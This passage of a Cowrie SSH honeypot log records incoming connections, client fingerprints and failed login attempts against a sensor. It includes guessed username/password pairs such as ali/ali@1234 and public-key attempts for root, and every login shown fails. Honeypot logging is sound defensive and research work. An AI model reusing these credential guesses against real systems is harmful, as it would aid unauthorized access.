{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:36.857460Z","src_ip":"165.154.205.91","session":"b93c06cb5920","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:37.593868Z","src_ip":"14.103.117.141","session":"9da189fb0e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:37.598252Z","src_ip":"14.103.117.141","session":"9da189fb0e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"prueba","message":"login attempt [test/prueba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:38.467615Z","src_ip":"14.103.117.141","session":"9da189fb0e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:41:39.688506Z","src_ip":"14.103.117.141","session":"9da189fb0e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":50898,"dst_ip":"159.203.135.109","dst_port":22,"session":"489329f225a1","protocol":"ssh","message":"New connection: 165.154.205.91:50898 (159.203.135.109:22) [session: 489329f225a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:36.253847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:36.257596Z","src_ip":"165.154.205.91","session":"489329f225a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:36.484551Z","src_ip":"165.154.205.91","session":"489329f225a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali@1234","message":"login attempt [ali/ali@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:37.426322Z","src_ip":"165.154.205.91","session":"489329f225a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:38.656044Z","src_ip":"165.154.205.91","session":"489329f225a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":49522,"dst_ip":"10.17.0.5","dst_port":22,"session":"464d116bc200","protocol":"ssh","message":"New connection: 187.212.47.18:49522 (10.17.0.5:22) [session: 464d116bc200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:42.355147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:42.367820Z","src_ip":"187.212.47.18","session":"464d116bc200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:42.600949Z","src_ip":"187.212.47.18","session":"464d116bc200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver123","message":"login attempt [csgoserver/csgoserver123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:42.939314Z","src_ip":"187.212.47.18","session":"464d116bc200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:42:44.018787Z","src_ip":"187.212.47.18","session":"464d116bc200","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.65.107.14","src_port":51302,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c9c1064e6fa","protocol":"ssh","message":"New connection: 185.65.107.14:51302 (10.17.0.5:22) [session: 5c9c1064e6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:17.440764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:17.445905Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:17.560629Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:b3:20:84:bd:ac:7f:7b:5d:a4:2f:77:50:4d:72:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5OMgo0hnkl/FfABMTCO5jiZPwsO3BebmxfqPXUN+uRbqk8DGstr2I/OV3Iih0QqICvV93wKsZdTvE+MFLFJXLMCUAc9MEXPr7gGEANsh/JHuXqd5SVAnyXF/ztrJZabzGkEoW/Ob0vUxIpicUxzmE9SM6x8xnhgUTMDxaLpVoQbdUkPB6rdcp3rBeweRAE0bdbbe7fPMZi926e8N/E/qeB95QRijtMBdYe7rJOQprsrUD8mppe0bValV4+BngVgYamHfYdJArSo/8ncWzpmwUD59mFq6srYtvlA39ODfSXhuwdaeT976iFbPLgwOMRo0iOw/jBq0bLBa7Q90ZFuZf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:b3:20:84:bd:ac:7f:7b:5d:a4:2f:77:50:4d:72:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.088077Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:b3:20:84:bd:ac:7f:7b:5d:a4:2f:77:50:4d:72:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5OMgo0hnkl/FfABMTCO5jiZPwsO3BebmxfqPXUN+uRbqk8DGstr2I/OV3Iih0QqICvV93wKsZdTvE+MFLFJXLMCUAc9MEXPr7gGEANsh/JHuXqd5SVAnyXF/ztrJZabzGkEoW/Ob0vUxIpicUxzmE9SM6x8xnhgUTMDxaLpVoQbdUkPB6rdcp3rBeweRAE0bdbbe7fPMZi926e8N/E/qeB95QRijtMBdYe7rJOQprsrUD8mppe0bValV4+BngVgYamHfYdJArSo/8ncWzpmwUD59mFq6srYtvlA39ODfSXhuwdaeT976iFbPLgwOMRo0iOw/jBq0bLBa7Q90ZFuZf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.092530Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:45:d3:c2:73:87:6c:98:b5:50:3d:46:27:80:bd:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFtaRrDM9wD9JU/kon7k6ZGkwIDW1Lhpt5VdQ/fY/4PBAyL5aJlumPYNMb/SJNTJPh9OkgSIo+6+s4EGHiRiGHKzGu80esthF9zQlr13b0W3ud8uMX53CVbYvn88buA1APrjfN+a6HN+Dql2zXpUwPbC8YkJQYCzRBV0O7baUYD3og8IXVszS1v+LL25wfs01KW/LWAHkXfKUSy9wbgk7Gu1EGopoyMR6QcjZBsPdZyX/B+de+m8COU6DCensMEIxkLNftQiNhUMGxugKoANxHi6ej6GjE2wsWF4O9kiKuHBbPgNcqodOKEuk7ml/Vdh/7Hc7ACfcKZCJGZu/INfzcdQhXaOE2qVll61vBqf/P7SpAWUOWwWCWpk0zmWYFMiz9hiylb1fv+Q1Fnx9jsesnUSmee2H2084UmDIKaRoOMV3yGtysxPG4ISdqcJoeDEPJt38a8BN/MpAzRo3SopbsTYiMzwDkQCrHwN4fllt8SHmL+9tUcW+vZg8MQhCzUnZBOS8PKN/GRJ572nEyGSRhvzwvC+F/hIhQMXsjocw1WhZ8+io1mXghElpnRmO/bwD8Hzes+jnEau7uPd9k4RwNVhXfyYnD52+DVIO+QuLGEQvgJu5N5UALANBz4q/zXTHW914JzRsmqT1Ek7uPFZOxHumZkx4CYKTnW53YvoGIJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:45:d3:c2:73:87:6c:98:b5:50:3d:46:27:80:bd:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.203136Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:45:d3:c2:73:87:6c:98:b5:50:3d:46:27:80:bd:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFtaRrDM9wD9JU/kon7k6ZGkwIDW1Lhpt5VdQ/fY/4PBAyL5aJlumPYNMb/SJNTJPh9OkgSIo+6+s4EGHiRiGHKzGu80esthF9zQlr13b0W3ud8uMX53CVbYvn88buA1APrjfN+a6HN+Dql2zXpUwPbC8YkJQYCzRBV0O7baUYD3og8IXVszS1v+LL25wfs01KW/LWAHkXfKUSy9wbgk7Gu1EGopoyMR6QcjZBsPdZyX/B+de+m8COU6DCensMEIxkLNftQiNhUMGxugKoANxHi6ej6GjE2wsWF4O9kiKuHBbPgNcqodOKEuk7ml/Vdh/7Hc7ACfcKZCJGZu/INfzcdQhXaOE2qVll61vBqf/P7SpAWUOWwWCWpk0zmWYFMiz9hiylb1fv+Q1Fnx9jsesnUSmee2H2084UmDIKaRoOMV3yGtysxPG4ISdqcJoeDEPJt38a8BN/MpAzRo3SopbsTYiMzwDkQCrHwN4fllt8SHmL+9tUcW+vZg8MQhCzUnZBOS8PKN/GRJ572nEyGSRhvzwvC+F/hIhQMXsjocw1WhZ8+io1mXghElpnRmO/bwD8Hzes+jnEau7uPd9k4RwNVhXfyYnD52+DVIO+QuLGEQvgJu5N5UALANBz4q/zXTHW914JzRsmqT1Ek7uPFZOxHumZkx4CYKTnW53YvoGIJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.206861Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:fd:f2:dd:45:31:fe:7e:92:c1:ad:46:5c:19:9a:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArg2VmhjobUaAQWV9evYw61pScNl/QrrfAj/EX8Kq+uuqHe+8ROfjQbIEli4oifilaqylw9qV4DYQEIzK+4oQte1VrvfR99RsDnkpfyeWJWzdHjC9BKYm5r2EZlPVT6yiHa72/emVrz8yZWdJl4NIvWuAqOIEDkP62H3L3vhexQ+xisFOCqV4Ow9p5pPkaUOuq53vdaxSffgV1uIwaVdYvLUs74B/FLYdPk4wCI8XQ1AuI1V1N00CMBYd0StCwv9qszV0h03p3XSa+u/EJ3jV0mvTBj2JRSNjjVNcOAe0qWw7hXFWrYa0fOvbMcB3qnt0W1xuNkyoLAsApVeJLfa9Cw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:fd:f2:dd:45:31:fe:7e:92:c1:ad:46:5c:19:9a:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.317172Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:fd:f2:dd:45:31:fe:7e:92:c1:ad:46:5c:19:9a:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArg2VmhjobUaAQWV9evYw61pScNl/QrrfAj/EX8Kq+uuqHe+8ROfjQbIEli4oifilaqylw9qV4DYQEIzK+4oQte1VrvfR99RsDnkpfyeWJWzdHjC9BKYm5r2EZlPVT6yiHa72/emVrz8yZWdJl4NIvWuAqOIEDkP62H3L3vhexQ+xisFOCqV4Ow9p5pPkaUOuq53vdaxSffgV1uIwaVdYvLUs74B/FLYdPk4wCI8XQ1AuI1V1N00CMBYd0StCwv9qszV0h03p3XSa+u/EJ3jV0mvTBj2JRSNjjVNcOAe0qWw7hXFWrYa0fOvbMcB3qnt0W1xuNkyoLAsApVeJLfa9Cw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.320688Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:77:99:c6:97:98:89:73:60:92:dc:9c:c4:ac:ca:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUD2VCr8/eZJbIbCp5sFwCibLo3nXe1dTHOO4z3zq4dQXpPJ65sT+5tEzh/yJhZ9qJCKzZ+3dws5xWlkrqixrhhfimyP/egRRMwzMDpQmkTP4sliBzs2qJXTZlz3bmFkz2gDNui8YrKtm6DLFNJr3KUcH9Mk0uVSSIPkEZTIuWM3K1GoBa05tTobnXL2ZdtxEGxMqxSxbW1bB8LNVpyLboU9pbvLqoMElMNMaSXVGApXM4fxTU7SSBDo7WlWx3uOiJEG2L6A1yr0iGg65eP0P0NU6gwoZOvJ17LZQSsl3q6MbxsyHc3aMi5Hm5Yw6HtnRbOS7H65Qw1/iw8zYxT+a1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:77:99:c6:97:98:89:73:60:92:dc:9c:c4:ac:ca:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.431081Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:77:99:c6:97:98:89:73:60:92:dc:9c:c4:ac:ca:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUD2VCr8/eZJbIbCp5sFwCibLo3nXe1dTHOO4z3zq4dQXpPJ65sT+5tEzh/yJhZ9qJCKzZ+3dws5xWlkrqixrhhfimyP/egRRMwzMDpQmkTP4sliBzs2qJXTZlz3bmFkz2gDNui8YrKtm6DLFNJr3KUcH9Mk0uVSSIPkEZTIuWM3K1GoBa05tTobnXL2ZdtxEGxMqxSxbW1bB8LNVpyLboU9pbvLqoMElMNMaSXVGApXM4fxTU7SSBDo7WlWx3uOiJEG2L6A1yr0iGg65eP0P0NU6gwoZOvJ17LZQSsl3q6MbxsyHc3aMi5Hm5Yw6HtnRbOS7H65Qw1/iw8zYxT+a1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.435650Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:9f:4c:93:64:8e:76:41:f5:2e:81:25:96:05:0b:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvlW8DZBTIKe+gbQVLb6+E+LmerNDnSJbjzTuDLCe21O0pugjobBwH9BY6N3uIkd3IG2lGnCqv7GK/oz9WlsOYLHT1d/b1MJiTXK/pJ6p1hIwDl9WZNtxTxS/rPkm+car2iqQVIPoDP/oCW6jg8l1QQqNCKu8Mp5Qa3cFK3/DHzCgQewtSt6cqQ7B7DWw98s0jbk3B9hxVUoNoamxoRRG2s46hE62OTXVkPC2Hmiquk8KKGC6VvyxgsgF4Bef2AGqQu2Bd+jix1BouvwzVWjUrr/+wc35cKj56LqOI7HCW2llGNDIvw6hlo/GYjL2Z1gq/Vr8JkoOdzIOBnFvRLrmjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:9f:4c:93:64:8e:76:41:f5:2e:81:25:96:05:0b:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.552061Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:9f:4c:93:64:8e:76:41:f5:2e:81:25:96:05:0b:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvlW8DZBTIKe+gbQVLb6+E+LmerNDnSJbjzTuDLCe21O0pugjobBwH9BY6N3uIkd3IG2lGnCqv7GK/oz9WlsOYLHT1d/b1MJiTXK/pJ6p1hIwDl9WZNtxTxS/rPkm+car2iqQVIPoDP/oCW6jg8l1QQqNCKu8Mp5Qa3cFK3/DHzCgQewtSt6cqQ7B7DWw98s0jbk3B9hxVUoNoamxoRRG2s46hE62OTXVkPC2Hmiquk8KKGC6VvyxgsgF4Bef2AGqQu2Bd+jix1BouvwzVWjUrr/+wc35cKj56LqOI7HCW2llGNDIvw6hlo/GYjL2Z1gq/Vr8JkoOdzIOBnFvRLrmjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.556441Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:18.668437Z","src_ip":"185.65.107.14","session":"5c9c1064e6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":39332,"dst_ip":"159.203.135.109","dst_port":22,"session":"88477841908b","protocol":"ssh","message":"New connection: 165.154.205.91:39332 (159.203.135.109:22) [session: 88477841908b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:33.878978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:43:33.884952Z","src_ip":"165.154.205.91","session":"88477841908b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 